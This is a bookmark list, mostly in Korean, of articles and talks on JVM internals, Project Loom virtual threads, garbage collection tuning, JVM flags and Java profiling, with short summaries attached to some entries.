- 스택과 힙 메모리, 그리고 멀티 스레드 :: 시행착오를 줄이는 방법 Kotlin
- 10분 테코톡 🎹 김김의 JVM Specification - YouTube
- Java in Containers - Part Deux
- Understanding the constant pool inside a Java class file
- Inside JVM debug symbols | It’s All Relative
- 자바 컴파일 과정 & JVM 내부 구조
- Seeing through hardware counters: a journey to threefold performance increase | by Netflix Technology Blog | Nov, 2022 | Netflix TechBlog
- Neflix에서 Java 서비스 중 하나인 GS2를 m5.4xl(vCPU 16개)에서 m5.12xl(vCPU 48개)로 올려서 성능이 3배 증가할 것으로 기대
- 처리량은 25%만 증가했고 지연시간을 오히려 증가하는 문제 발견
- 매트릭을 살펴보다가 CPU와 대기시간이 낮은 노드가 있다는 것을 발견
- 더 낮은 수준을 보기 위해 PMC를 살펴보다가 2개의 코어가 동일한 L1 캐시 라인을 공유하면서 관련 없는 변수에서 읽고 쓸 때 발생하는 False Sharing의 일반적인 패턴 발견
- JDK의 동작을 수정하진 않고 데이터 레이아웃에서
_secondary_super_cache
,_secondary_supers
에 패딩을 추가해서 느린 노드가 사라짐 - 하지만 여전히 목표인 250 RPS에 못 미치는 150 RPS만 처리
- JDK의 동작을 수정하진 않고 데이터 레이아웃에서
- 이 문제는 동일한 변수를 여러 스레드/코어에서 읽고 쓰는 True Sharing임을 깨닫고 공유 변수에 모두 쓰지 않고 JVM의 보조 슈퍼클래스 캐시를 효과적으로 우회하도록 수정하고 3.5배의 성능 향상
- 더 빠른 인스턴스로 옮겼는데 성능이 안 나오면 어디를 봐야 할까? | GeekNews
- Neflix에서 Java 서비스 중 하나인 GS2를 m5.4xl(vCPU 16개)에서 m5.12xl(vCPU 48개)로 올려서 성능이 3배 증가할 것으로 기대
- Java Compiler Optimization — 시행착오를 줄이는 방법 - 진태양
- Java compiler message file broken 에러
-XX:MaxDirectMemorySize
파일 서버에 1GB 파일 패치 요청 실패 (간단한 JVM 튜닝으로 해결하기)- VDBUH2023 - Ionuț Baloșin & Florin Blănaru - JVM Performance Comparison - YouTube
- 스프링 애플리케이션 배포 직후 발생하는 Latency의 원인과 이를 해결하기 위한 JVM Warm-up
- Welcome to the Jungle - A safari through the JVM landscape by Gerrit Grunwald - YouTube
- Java Language
- JVM Crash 문제 해결하기 | 와탭 블로그
- Instrument to Remove: Using Java agents for fun and profit by Johannes Bechberger - YouTube javaagent
- failsafe: Fault tolerance and resilience patterns for the JVM
- hsdis HotSpot Disassembler Developers disassemble! Use Java and hsdis to see it all
- jasm: A JVM assembler for the modern age
- Loom: https://openjdk.org/projects/loom
- Project Loom: Fibers and Continuations for the Java Virtual Machine
- Project Loom: Fiber와 Continuation
- Project Loom: Helping Write Concurrent Applications on the Java Platform by Ron Pressler
- Project Loom? Better Futures? What’s next for JVM concurrent programming - YouTube
- Java의 동시성 개선을 위한 Project Loom은 reactive streams를 대체할 것인가? 정말 좋은 글. async 이해 전반에 특히 좋음
- Scale By The Bay 2020: Adam Warski, Project Loom? Better Futures? What’s next for JVM concurrent... - YouTube
- Going inside Java’s Project Loom and virtual threads
- '프로젝트 룸' 최신 자바 동시성 모델 따라잡기 - CIO Korea
- Using Java's Project Loom to build more reliable distributed systems · James Baker
- Implementing Raft using Project Loom scala지만 loom 연관
- Project Loom: Revolution in Java Concurrency or Obscure Implementation Detail? - YouTube
- Loom is Blooming by José Paumard & Remi Forax - YouTube
- Prototype Loom-based concurrency API for Scala
- Game of Loom: implementation patterns ... playing with virtual threads by Mario Fusco - YouTube
- Java Next - From Amber to Loom, from Panama to Valhalla by Nicolai Parlog - YouTube
- Prepare for what "Loom"s ahead by Dr. Heinz Kabutz - YouTube
- Coroutines and Loom behind the scenes by Roman Elizarov - YouTube
- #92 Virtual Threads Looming with Adam Warski by Happy Path Programming
- Java Project Loom: Why Should I Care? • Erwin de Gier • GOTO 2023 - YouTube
- VidiGo Java Project Loom: Why Should I Care? • Erwin de G
- 자바의 동시성 프로그래밍 혁신, 프로젝트 룸
- 프로젝트 룸은 자바 개발자들이 동시성 프로그래밍을 훨씬 쉽게 할 수 있도록 하는 jdk 제안
- 가상 스레드와 구조화된 동시성을 포함하여, 기존의 복잡한 동시성 모델을 단순화하고자 함
- 이는 네트워크 호출이나 i/o 작업 중 대기 시간에 다른 작업을 할 수 있게 하여 애플리케이션의 효율성 향상
- 가상 스레드를 활용한 실제 사례 비교
- 가상 스레드를 사용하는 경우와 그렇지 않은 경우를 비교하여 가상 스레드의 효과를 실제 사례를 통해 설명
- 가상 스레드는 기존의 쓰레드 모델보다 메모리 사용량이 적고, 스레드 전환 비용이 낮아 많은 수의 요청 처리에 유리
- 반응형 프로그래밍과 코루틴 등 다른 비동기 처리 방식과 비교하며, 가상 스레드가 가져오는 장점들을 강조
- 가상 스레드와 구조적 동시성의 이해
- 가상 스레드를 사용하여 tomcat에서 기존 동기 자바 애플리케이션을 변경 없이 향상된 성능 획득
- 가상 스레드와 헬리돈 니마를 사용하면 다른 프로그래밍 모델에서도 성능 이점을 누릴 수 있음
- 가상 스레드는 플랫폼 스레드에 비해 작업 전환 비용이 낮아 처리 시간과 처리량 모두에서 이점을 제공
- 가상 스레드의 심화 이해 및 최적화 방법
- Synchronized 블록과 네이티브 메소드 호출은 여전히 메인 스레드를 차단할 수 있으며, reentrant lock으로 대체 가능
- Threadlocal은 각 가상 스레드마다 별도로 존재하지만, 큰 메모리 사용량을 초래할 수 있어 주의가 필요
- Jdk 21부터는 scoped values를 도입하여 threadlocal의 대안으로 제공되며, 더 낮은 메모리 사용량과 변경 불가능성을 제공
- 구조적 동시성과 그 활용
- 구조적 동시성은 가상 스레드 위에 구축된 쓰레딩 모델로 병행 프로그래밍 시 발생할 수 있는 오류 감소
- Structured task scope를 사용하여 병렬 작업 실행 및 결과 수집 등 다양한 동시성 작업 관리 가능
- 구조적 동시성은 코드 범위에 따라 스레드의 생명주기가 결정되므로 보다 관리하기 쉬운 병행 프로그래밍 가능
- 자바의 동시성 프로그래밍 혁신, 프로젝트 룸
- 자바 프로젝트 룸: 내가 왜 관심을 가져야 할까? - 에르빈 드 기어 - GOTO 2023 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- 1.💻자바 개발자를 위한 Project Loom: 가상 스레드와 구조화된 동시성
- 프로젝트 룸은 자바의 동시성 모델이 강력하고 유연하지만 복잡할 수 있다는 문제 해결을 위해 제안된 가상 스레드와 구조화된 동시성 두 가지로 구성
- Project Loom의 목표는 자바에서 동시 프로그래밍을 개발자들에게 매우 쉽게 만드는 것
- 기존 솔루션들은 복잡성을 숨기지 못해 개발자에게 부담을 안겨주었는데, 가상 스레드를 통해 이러한 문제 해결 목표
- 가상 스레드는 사용자 모드 스레드로, 우리가 익숙한 동기식 코드 스타일을 사용하여 플랫폼 수준에서 작업을 전환 가능하게 함
- 이로 인해 가상 스레드는 초기 메모리 플롯폼이 매우 낮고, 스택이 힙에 저장되어 필요 시 나중에 크기를 조정 가능
- 이 모든 것들로 인해 수천 개의 플랫폼 스레드보다 더 많은 스레드 사용 가능
- 2.🔄가상 스레드를 통해 처리 속도 향상 및 병렬 처리에 대한 중요성 강조
- 가상 스레드를 사용하면 운영 체제 스레드로 매핑되는 추가 추상 계층이 쓰레드 모델에 존재
- I/O 또는 네트워크 호출로 인한 지연이 발생할 때, 대답해야 하는 많은 요청을 처리하는 것이 좋은 사용 사례
- 계산이 많고 병렬 처리가 필요한 경우에도 유용하지만 대부분의 영향을 미치진 않음
- 기존 방법과 비교시, 콜백을 사용하는 비동기 코드 대신 NonNull 반환 객체인 CompletableFutures 이용시 코드가 더 읽기 쉬워지며 비동기로 결과 기다릴 수 있음
- 3.💻리액티브 프로그래밍과 코루틴 장점과 주의점
- 리액티브 프로그래밍은 강력하고 함수형 프로그래밍 스타일을 가지며, Mono와 flatMap을 통해 결과 조합하고 비동기 호출 가능
- 리액티브는 시간을 다루는 경우에 유용하지만, 코드가 길어지고 해독하기 어려울 수 있으며, 동기 프로그래밍에서 패러다임 전환 필요
- 코틀린의 코루틴은 가벼운 형태로 비동기 문제 해결, 메인 스레드를 차단하는지 여부를 항상 주의 필요
- 코틀린은 JDK에서 실행되지만 네이티브로 지원되지 않으며, 가상 스레드로 변환하여 작동. 또한, 가상 스레드를 사용하면 블로킹 호출이 비블로킹 호출로 변환
- 4.💻Java 21 이후, 가상 스레딩 모델에서는 메인 스레드 차단되지 않음
- Java 21부터 가상 스레딩 모델에서 Thread.sleep와 future로부터 결과를 얻는 것이 메인 스레드를 차단하지 않게 됨
- 가상 스레드를 만들기 위해선 Java 19나 Java 21이상이 필요, 현재는 low-level API를 통해 가상 스레드 생성 가능
- 실제로는 가상 스레드를 직접 만들고 싶지 않아 할 것이며, 대신 가상 스레드를 사용하되 직접 관리하고 싶지 않음을 바라는 실제 상황에 대해 이야기
- 하지만 가상 스레드는 직접 관리하지 않으면서 사용하고자하는 경우도 있음. 이를 위해 가상 스레드를 사용하는 애플리케이션을 후보로 두고 데모 준비
- 5.💻Java 애플리케이션의 요청 시간 및 성능 비교
- 일반 Java 애플리케이션의 예제를 실행하면, 블로킹 애플리케이션으로 요청 시간이 급격히 증가. 반면 리액티브 애플리케이션은 1초로 유지
- 가상 스레드를 사용할 때도 마찬가지로 응답 시간이 1초 내외로 안정적으로 유지
- 리액티브 및 가상 스레드의 평균 응답 시간이 유사한데, 이는 두 메커니즘이 실제로 매우 유사하기 때문
- 기존 스레드-요청 모델은 각 요청이 블록 처리되어 대기해야하나, 가상 스레드는 작업 간 전환으로 더 많은 요청을 동일한 스레드에서 처리하므로 처리량 향상
- Spring Boot 애플리케이션을 가상 스레드로 전환하려면 Tomcat에서 실행 중 일 때 두 빈을 제공해야 하며 구성 클래스에 구성 파일에 복사하여 사용 가능
- 이렇게 하면 REST 컨트롤러를 변경하지 않고도 가상 스레드를 사용 가능
- 6.💻 가상 스레드와 동기화 블록, 프로그래밍 잠금에 대한 설명
- 컴퓨터를 위한 고속 CPU를 필요로 하는 어플리케이션의 처리 시간을 비교하며, Virtual threads를 활용하는 것이 더 효율적임을 확인
- 가상 스레드를 사용하면 스레드 전환 비용이 낮아지는데, 예를 들어 가상 스레드의 처리 시간은 약 66밀리초로, 플랫폼 스레드의 100밀리초보다 빠름
- 동기화 블록 활용,
Thread.sleep
에 대한 설명과 함께 동기화 메서드 내에서 처리하는 경우 Main thread를 차단시키는 문제 등을 세부적으로 다룸 - 가상 스레드를 활용할 때는 reentrant lock을 검토하여 동기화 메서드 내의 블록을 준비하는 것이 중요
- 7.💡 스레드 로컬과 가상 스레드에서의 동작과 스코프 값 소개
- 스레드 로컬은 스레드에 바운드된 정보를 저장하는 인스턴스로, 가상 스레드에서도 사용 가능
- 스코프 값을 통해 스레드 로컬의 메모리 풋프린트를 낮추는 JDK 21의 새로운 기능 소개
- 스레드 로컬은 가상 스레드에서도 활용 가능하지만, 스레드가 많아질수록 메모리 사용량이 증가하고, 상태 변이 가능성이 있음
- 스코프 값은 이 람다 함수 안에서만 유효하며 더 저렴한 대안이 되는 스레드 로컬 대체로 JDK 21에서 소개
- 스코프 값은 가상 스레드와 같이 각각 독립된 스레드 로컬 인스턴스를 갖지만, 수정 불가능하고, 복사되지 않아 더 효율적
- 스레드 로컬은 스레드에 바운드된 정보를 저장하는 인스턴스로, 가상 스레드에서도 사용 가능
- 8.💻 Project Loom: 가상 스레드와 구조화된 동시성에 대한 설명
- Project Loom의 두 번째 요소는 구조화된 동시성과 가상 스레드
- 구조화된 동시성은 비동기 문제를 해결하고 동기 코드를 사용할 수 있게 함
- 구조화된 동시성을 통해 병렬 동작을 수행하거나 결과를 수집하거나 재시도 및 시간 제한을 설정 가능
- 구조화된 작업 범위에 따라 스레드의 범위가 코드의 범위에 바인딩되어 더 관리 용이
- Project Loom은 가상 스레드 및 구조화된 동시성을 통해 동시 프로그래밍의 오류를 줄이고 보다 쉽게 스레드 관리를 할 수 있게 해줌
- 9.☕️ 자바 20에 업그레이드하고 스프링 부트 3에서 동기화 블록을 ReentrantLock으로 대체
- 9월에 릴리스될 자바 20으로 준비하고, 스프링 부트 3로 업그레이드하며 가상 스레드에 대비할 것을 권유
- 리액티브나 코루틴보다는 간단한 스택을 유지하며 고급화하면 가상 스레드를 쉽게 업그레이드 가능
- 리액티브 프로그래밍과 동일한 혜택을 얻을 수 있다. 리액티브와 코루틴의 그간 문제를 고려 필요
- 리액티브 스트림은 무한 스트림 문제 해결, 코틀린 코루틴은 비동기 I/O를 기반, 블로킹 및 넌블로킹 콜을 인지하여 스레드 관리를 편리하게 처리
- 가상 스레드는 스레드로 기능하며 코틀린 코루틴을 활용할 수 있어, 올바른 도구 선택은 항상 중요
- 10.💻Spring Boot 3로 응용 프로그램을 가상 스레드로 마이그레이션 결과
- Spring Boot 3로 업그레이드한 후 가상 스레드 Executor를 추가하여 성능 테스트에서 throughput이 2배 높아진 것을 확인
- 데모와 발표 자료는 GitHub에 있으며, Markdown으로 슬라이드를 제공하며 HTML 버전도 있음
- 응용 프로그램을 실행했을 때 가상 스레드를 활용하여 작동하고, 성능 테스트에서 높은 성과를 보임
- 실제로 응용 프로그램 마이그레이션이 간단할 수 있다는 것을 실험을 통해 확인
- 1.💻자바 개발자를 위한 Project Loom: 가상 스레드와 구조화된 동시성
- VidiGo Java Project Loom: Why Should I Care? • Erwin de G
- Project Loom Virtual Thread에 봄(Spring)은 왔는가 | 카카오페이 기술 블로그
- project-loom-c5m: Experiment to achieve 5 million persistent connections with Project Loom virtual threads
- Dynamic Constants — Oxymoron or Promising JVM Feature? • Evgeny Mandrikov • GOTO 2023 - YouTube
- VidiGo | 비디고 - Analyze Video AI
- 자바의 숨겨진 기능 탐험
- 에브게니 만드리코프가 자신을 소개, 자바 가상 머신(jvm)의 잘 알려지지 않은 기능인 동적 상수에 대해 발표
- 발표에서는 다양한 자바 버전에서 테스트된 도구에 대해 설명, jdk에서 발견된 버그를 보고하는 과정 설명
- 자바의 람다와 동적 상수
- 자바 8에서 람다가 도입되었으며 간단한 예제를 통해 설명
- Invokedynamic 지시문과 바이트코드 내부의 문자열 리터럴 처리 방법 설명
- 자바 11에서 새롭게 등장한 condy(동적 클래스 파일 상수)가 성능 개선을 위해 어떻게 사용되는지 설명
- 코드 커버리지 측정과 최적화
- 코드 커버리지 측정 방법과 이를 위해 사용되는 특별한 구조체(props)에 대해 설명
- Boolean 배열을 사용하여 코드 실행 사실을 기록하는 방법과 이 배열을 어떻게 활용하는지에 대해 논의
- 코드 커버리지 도구인 jacoco가 내부적으로 어떻게 작동하는지 설명
- 자바 어서션과 초기화 문제
- 자바의 어서션(assertion) 기능과 클래스 초기화 시점에 따른 어서션 활성화 여부 설명
- 클래스 로더와 관련하여 같은 이름의 클래스가 여러 개 있을 수 있는 문제와 이를 식별하는 방법 설명
- 실제 코드 예제를 통해 어서션 활성화 조건과 이와 관련된 java 언어 명세를 분석
- 자바 컴파일러의 단점과 해결책
- 자바 컴파일러에서 단언문(assertions)이 구현된 방식은 특이한 점 존재
- 클래스가 초기화되지 않았을 때 null 포인터 예외 발생 가능
- 이 문제를 해결하기 위해 지연 초기화(lazy initialization) 방식 사용
- 정적 최종 필드와 인터페이스의 도전
- 정적 최종(static final) 필드에 값을 할당하는 것은 제한적
- 인터페이스에서는 모든 필드가 암묵적으로 정적 최종(static final)이므로 더 복잡
- 이 문제를 해결하기 위해 다양한 접근 방식과 그 한계 탐색
- 동적 상수와 JVM의 변화
- 동적 상수(dynamic constants)는 jvm에 새롭게 추가된 기능으로 많은 문제 해결 가능
- 동적 상수를 사용하면 정적 초기화와 관련된 문제 없이 데이터를 로드 가능
- 하지만 동적 상수의 도입 과정에서 여러 버그와 호환성 문제가 발견되고 수정
- 단언문과 동적 상수의 활용
- 단언문 사용 시 발생하는 정적 초기화 문제도 동적 상수로 해결 가능
- Jdk 내부에서 아직 완전히 적용되지 않았으나, 이론상으로는 실행 가능한 솔루션
- 이 외에도 자바에서 동적 상수를 활용할 수 있는 다양한 사례들 존재
- 다이나믹 상수의 이점과 한계
- 다이나믹 상수를 사용하면 초기화에 대한 오버헤드 감소
- 유저들은 다양한 실험을 통해 상수 선언 가능 개수 탐색
- 클래스 내 필드 수에는 제한이 있으며, 이는 enum 상수 선언에도 영향
- 스위치 문과 정적 초기화의 문제점
- 자바 컴파일러는 enum 스위치를 안정적으로 처리하기 위해 특별한 기법 사용
- 정적 초기화는 여러 문제의 원인이 될 가능성
- Condi를 사용하여 스위치 문과 배열 초기화 간소화 가능
- Condi의 추가 활용 예시와 자바의 새로운 기능 탐색
- Condi는 싱글턴 패턴 구현 등 다양한 경우에 활용 가능
- 자바와 jvm은 지속적으로 새로운 기능 도입
- 새로운 기능을 시도하고 피드백을 제공 중요
- 자바의 숨겨진 기능 탐험
- 동적 상수 - 모순인가, 아니면 유망한 JVM 기능인가? - 에브게니 만드리코프 - GOTO 2023 | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- 1.️️ JVM의 동적 상수 기능과 Java 코드 커버리지에 대한 이야기
- Evgeny Mandrikov은 SonarSource에서 일하며 오픈 소스 프로젝트에 참여, JVM의 한 알려지지 않은 기능인 동적 상수에 대해 이야기
- SonarLint, SonarQube 등 Sonar 제품을 사용하는 사람들에게 친숙한 회사 SonarSource의 일과는 무관, 개인 프로젝트와 관련된 내용
- Java 코드 커버리지 도구에 대해 오랜 기간 동안 개발하였으며, 다양한 Java 버전에서 테스트를 진행
- OpenJDK Quality Outreach 프로그램에 참여하여 JDK 버그를 발견하고 보고하는 등 JDK 개발에 기여
- 이번 발표에서는 Java 바이트코드에 대해 다루며, Java 컴파일러만 사용하여 진행
-
- 자바 버전8의 람다와 ConstantDynamic 사용 비교
- Java 8에서 람다가 등장, 메소드가 람다를 매개변수로 선언하는 간단한 예제 제시
- 람다를 컴파일할 경우 바이트코드 확인 필요, Java disassembler 툴을 사용하여 내부 구현을 확인하는 과정과 결과 설명
- ConstantDynamic 클래스-파일 상수를 사용하면 더 적은 오버헤드와 성능 향상 가능, 람다의 동작 메커니즘에 대해 자세히 설명
-
- 메소드 실행 기록하기: 코드 커버리지 측정하기
- 코드 커버리지를 측정하기 위해 메소드 실행을 기록하는 방법에 대해 설명
- 실행 중인 메소드에서 흐름을 기록할 *속성(Props)*를 삽입하여 분기를 판단, 실행 여부를 확인
- Java에서는 간단한 구조인 Boolean array가 요구사항을 모두 충족하는 방법
- 이 배열을 통해 코드 커버리지 도구가 데이터를 활용해 보고서 작성 가능
-
- 자바 가상머신의 동작 원리와 어서트 문제
- 자바 에이전트가 정보 수집을 위해 자바 에이전트를 사용 메서드를 통해 데이터 수집, 속도 향상을 위해 필드의 배열에 데이터 저장
- 로컬 변수에 저장된 데이터에 액세스하는 것이 필드에 액세스하는 것보다 빠름
- 어서션 상태에 따라 어서션 에러가 발생하거나 발생하지 않을 수 있지만, 초기화가 완료되기 전에 실행되는 경우 항상 활성화
- 부모 클래스에서의 정적한 초기화 동작, 자바 언어 명세서 확인 필요하며, 이에 따라 어서션 에러가 항상 활성화
-
- 자바 언어 사양에 대한 이해
- 자바 컴파일러에서 단언문이 구현된 방식에 따라, 초기화되지 않은 클래스에서 쓰레기값인 'null' 예외 발생
- 이 문제에 대한 해결책으로 초기화를 늦게 진행하고, 필드 값을 저장하고 반환하는 지연 초기화 방식 사용
- 해당 방법은 초기화되지 않은 클래스의 문제를 해결, 메서드를 활용하여 간단하고 효과적으로 작동
- 이러한 변화는 자바 언어 명세서 내 사소한 설명이지만, 자바 컴파일러에서 단언문이 구현된 특이점으로 연결
-
- Java Version 9 변경에 따른 static final field 문제와 해결책
- Java 컴파일러는 static final field에 메서드에서 값을 할당하는 코드를 허용하지 않지만, Java 가상 머신은 예외로 처리
- Java 9 이전에는 가상 머신에서 이를 검사하지 않고 컴파일러 레벨에서만 예외를 처리했다. 그러나 OpenJDK 9부터 이는 동작하지 않게 변경
- 해결책으로 final 예약어를 제거하거나 static initializer를 제거하여 문제를 해결해야 했으며, 이에 대한 다양한 문제 발생
- 인터페이스에서도 문제 발생 가능성이 있어 final 필드를 제거하거나 static initializer를 사용하지 않아야 했으며, 그렇지 않으면 예외 발생
-
- 프로그램 실행 흐름 분석과 문제 해결 과정
- 프로그램 실행 추적을 위해 자식에 출력 기능을 추가하고 모든 계층의 초기화를 트리거하는 과정을 설명
- 프로그램 실행 결과로, base가 초기화되기 전에 AssertionError base가 발생하거나, child가 먼저 초기화되고 나서 base가 초기화된 경우 설명
- 코드를 테스트하는 중에 두 나라에서 동시에 작성되었으며, JDK 버전 차이로 인해 예기치 않은 문제가 발생, 해결책은 즉시 적용, JVM crash 문제 수정
- 클래스와 인터페이스의 초기화 순서에서 발생하는 문제 및 JVM의 동작 사항 설명
- JDK 버전에 따라 성능이 떨어지더라도 class 초기화 후에 값이 캐시될 수 있도록 하는 느린 접근 방식 경험 공유
- 8.️ JVM에서 동적 상수 문제와 해결 방법
- 자바 JVM에 도입된 Coni는 매직 비행을 없앨 수 있는 좋은 기능
- 동적 상수를 사용하면 클래스 필드로 노출되지 않기 때문에, 리플렉션을 통해 볼 수 없어서, 직렬화 프레임워크에서 좋은 부작용 발생
- 초기 버전에서 일부 문제는 있었지만, 실제 사용자들이 발견하고 동적 상수로 인한 JVM 충돌 문제는 OpenJDK 13에서 수정
- 동적 상수 문제가 해결되었지만, 클래스의 정적 초기화와 연결된 부스트랩 메소드 사용 시의 문제 등은 여전히 주의 필요
- 에러 방출을 없애는 대안을 찾아야 하며, 사용자에게 설정 노출 필요
-
- Java 언어에서 동적 상수 사용 예시와 그 장점
- 사용자들이 다양한 JVM을 사용하며, OpenJDK9에서 발생한 garbage collector 오류 보고. 이를 동적 상수를 활용하여 해결
- 동적 상수를 이용하면 초기화 과정에서 오버헤드가 줄어들어 효율적, Java 언어 명세의 작은 문제도 해결 가능
- ASM과 같은 메소드가 동일한 람다로 사용될 때, 동적 상수를 활용하면 초기화 오버헤드 감소
- OpenJDK에서는 아직 동적 상수를 사용한 문제 해결이 이뤄지지 않았으나, Java 언어 명세를 변경하는 과정은 어려움
- 동적 상수의 다른 활용 예시들도 있으며, ASM을 활용하여 클래스 파일 내에서 동적 상수 인코딩이 이미 가능
-
- 자바 Virtual Machine에서의 상수, 배열, 메소드 제한
- 자바 Virtual Machine에서는 Class 내의 필드 수가 65,536개로 제한, 배열의 크기 역시 Integer.MAX_INT로 제한
- HotSpot JVM에서 배열의 크기는 Integer.MAX_INT에서 2 또는 3을 뺀 값으로 제한되며 메소드 크기는 65,000명령어로 제한
- 실제로는 상수의 수는 32,000보다 적고, 다른 제한들에 가까워질 수 있지만, 구체적인 구현에 따라 다를 수 있음
-
- 자바 컴파일러의 트릭: 스위치 안정성을 유지하는 방법
- 자바 14에서 소개된 '스위치 표현'에 대한 설명, switch expression을 컴파일하고 디컴파일 할 때 나타나는 바이트코드 살펴봄
- 코드 안에서 스위치 맵이 접근되어 현재 런타임 값 매핑 제공, 컴파일 타임 값으로 맵핑 제공, 컴파일러가 스위치 안정성을 유지하도록 하는 트릭 소개
- 스태틱 초기화를 사용하는 코드의 문제점과, 스위치 안정성을 위해 런타임 값에 따라 컴파일러가 제공하는 매핑을 사용하는 방식 소개
- 코드의 복잡성과 스태틱 초기화에 대한 문제, 메소드의 호출 여부에 관계없이 스위치를 사용하는 방식 등을 살펴봄
-
- 자바 컴파일러 트릭으로 인한 널포인터 예외 발생
- 널포인터 예외가 C언어에 없다는 말을 믿는 사람들이 있지만 실제론 있음
- 컴파일러가 생성한 스위치 맵의 구현 내부 세부 사항으로 문제가 발생
- 사양을 다루는 스위치 맵 클래스의 초기화 과정에서 발생하는 문제로 발생 원인을 자세히 설명
- 자바 컴파일러의 트릭과 기술로 인해 싱글 상수 동적 명령어로 대체 가능
-
- 새로운 Java 및 JVM 기능 속도론 성장과 중요도 팁
- 새로운 Java 및 JVM 기능은 빠른 속도로 도입되고, 새로운 기능들이 열리며, Scala, Groovy 등 다른 언어뿐만 아니라 JVM에도 활용
- 개발자들은 실수할 수 있기에 새로운 기능 시도하고 피드백 보고 필요
- 버그 신고가 중요하며, 다음 LTS를 위해 함께 더 나은 LTS를 만들기 위해 적극적인 참여 필요
- 1.️️ JVM의 동적 상수 기능과 Java 코드 커버리지에 대한 이야기
- VidiGo | 비디고 - Analyze Video AI
- Garbage Collection의 기초
- 가비지 컬렉터가 뭐하는 건가요? (Feat. 메모리 관리)
- Java Garbage Collection
- Latest Java Garbage Collection : NHN Cloud Meetup
- Reference Counting과 Mark and Sweep
- WeakReference로 메모리 관리하기
- JDK8 적용 후, 심각한 성능저하가 발생한다면? Full GC가 제대로 되지 않는다면?
MaxMetaspaceSize
- Garbage Collection Algorithms
- 여러가지 GC algorithm 기본 동작 방식 소개
- 가비지 컬렉션(Garbage Collection)
- Java gc log 분석, 시각화하는 무료 사이트 추천 gceasy.io
- java gc log 를 출력해 봅시다
- GC Tuning Confessions Of A Performance Engineer
- Java's new Z Garbage Collector (ZGC) is very exciting
- ZGC, The Z Garbage Collector - 기계인간 John Grib
- G1보다 짧은 지연시간을 가지면서 처리량은 크게 뒤처지지 않는 목표로 만들어진 ZGC에 관해 번역/정리
- ZGC는 정지 시간이 10ms를 초과하지 않아야 하며 수 TB까지의 heap을 처리할 수 있어야 하면 JDK 11부터 실험적으로 도입되어 옵션을 지정해서 사용 가능
- ZGC의 기본 개념 이해하기
- Bending pause times to your will with Generational ZGC | by Netflix Technology Blog | Mar, 2024 | Netflix TechBlog
- G1: Garbage first garbage collector
- Understanding the JDK’s New Superfast Garbage Collectors
- A Quick Start on Java Garbage Collection: What it is, and How it works
- Understanding Java Garbage Collection Logging: What Are GC Logs and How To Analyze Them
- A Step-by-Step Guide to Java Garbage Collection Tuning
- JVM char array occupies lots of memory
- Java GC Tuning for Noobs: Part 1
- Java GC Tuning for Noobs: Part 2, Generational
- Java GC Tuning for Noobs: Part 3, Parallelism
- TIL-12: Garbage Collection: Young vs Old Generations
- JVM 메모리 구조와 GC
- Java HotSpot VM G1GC
- Java 의 GC는 어떻게 동작하나?
- G1 GC 적용과 JVM Upgrade
- 영상 : G1 GC 써볼까? :: 자바캔(Java Can Do IT)
- Concurrent Marking in G1
- java: 도달 가능한 객체가 무엇일까요
- 메모리릭: gc가 쓰레기는 잘 수거하는데 무슨 문제라도 있나요
- Why we chose Java for our High-Frequency Trading application | by Jad Sarmo | Oct, 2020 | Medium JIT
- A New Age of JVM Garbage Collectors - Alexander Yakushev - YouTube
- Java 성능 - SLiPP 스터디 - SLiPP::위키
- Understanding the JDK’s New Superfast Garbage Collectors
- Java garbage collection interview questions & answers
- GC progress from JDK 8 to JDK 17
- Detect proactively whether application’s memory is under-allocated - JAXenter
- How Garbage Collection works in Java? Explained
- Java Garbage Collection - Java Heap Debugging
- 자바 힙 메모리(Java Heap Memory) 분석 내용 총정리 | 개발자 Story | SKT Enterprise
- JVM + Container 환경에서 수상한 Memory 사용량 증가 현상 분석하기 | Hyperconnect Tech Blog
- 매우 좋은 분석 debugging 글
- Hyperconnect에서 Kuberentes에 띄워 놓은 서비스의 CPU를 2에서 1로 줄이자 오히려 메모리가 증가하는 현상을 발견하고 이를 추적해서 해결한 내용
- JMX로 분석할 결과 스레드 개수가 증가한 것을 확인, 스레드를 추적하고 WebFlux의 reactor 스레드가 증가했다는 것을 확인
- Webflux의 코드를 살펴보니 CPU reqeusts가 1일 때
availableProcessors()
가 컨테이너가 아닌 Node의 CPU를 반환한다는 것을 알게 되어- JAVA 옵션으로
ActiveProcessorCount
를 지정해서 해결
- JAVA 옵션으로
- IMDEV 2023 혼자서도 잘하는 메모리 청소부 쥐씨 - YouTube
- Java Parallel GC Tuning – yCrash
- 그래도 자바 최신 버전이 좋은 이유, GC.
- Epsilon: The JDK’s Do-Nothing Garbage Collector
- GCGC
- gctoolkit: Tool for parsing GC logs
--add-exports java.base/sun.nio.cs=ALL-UNNAMED
java option --add-exports deprecated된 pakcage를 사용하는 방법-XX:+UseTLAB
Is memory allocation on the JVM lockless-XX:+UseG1GC -XX:+UseStringDeduplication
G1 GC: Reducing Memory Consumption by 20%- -Xss 옵션에 관하여
- JAVA 실행 시 Heap 설정 메모리 설정 관련
- Java8이상에서 MaxMetaspaceSize 설정, 반드시 해야할까?
- Java 8 에서 사라진 maxPermSize, PermSize을 대체하는 옵션?
- What is the meaning of the -XX:NewRatio and -XX:OldSize JVM flags?
- Useful JVM Flags – Part 1 (JVM Types and Compiler Modes)
- Useful JVM Flags – Part 2 (Flag Categories and JIT Compiler Diagnostics)
- Useful JVM Flags – Part 3 (Printing all XX Flags and their Values)
- Useful JVM Flags – Part 4 (Heap Tuning)
- Useful JVM Flags – Part 5 (Young Generation Garbage Collection)
- Useful JVM Flags – Part 6 (Throughput Collector)
- Useful JVM Flags – Part 7 (CMS Collector)
- Useful JVM Flags – Part 8 (GC Logging)
- Basics of Java Garbage Collection
- 10 Important JVM Options for Production JAVA Application System
- 21 MOST IMPORTANT JAVA 8 VM OPTIONS FOR SERVERS
- Guide to the Most Important JVM Parameters
- 7 JVM arguments of Highly Effective Applications
- 자바 애플리케이션 성능 튜닝의 도(道)
- YourKit Java 프로필러(YourKit Java Profiler) 소개
- How to profile JVM applications
- 자바 성능 튜닝 이야기
- 자바개발 및 운영툴
- Guide to Java Profilers
- 스택트레이스 샘플링을 이용한 성능 분석 – 제니퍼소프트 제품 광고지만 글 흐름 자체는 좋음
- 5 Mundane Java Performance Tips | Richard Startin’s Blog
- Profiling Java Applications with Async Profiler | HackerNoon
- Is Your Java Application Slow? Check out These Open-Source Profilers - YouTube
- Faster or better designed? Choose any two! by Dmytro Vyazelenko - YouTube
- VidiGo Faster or better designed? Choose any two! by Dmyt
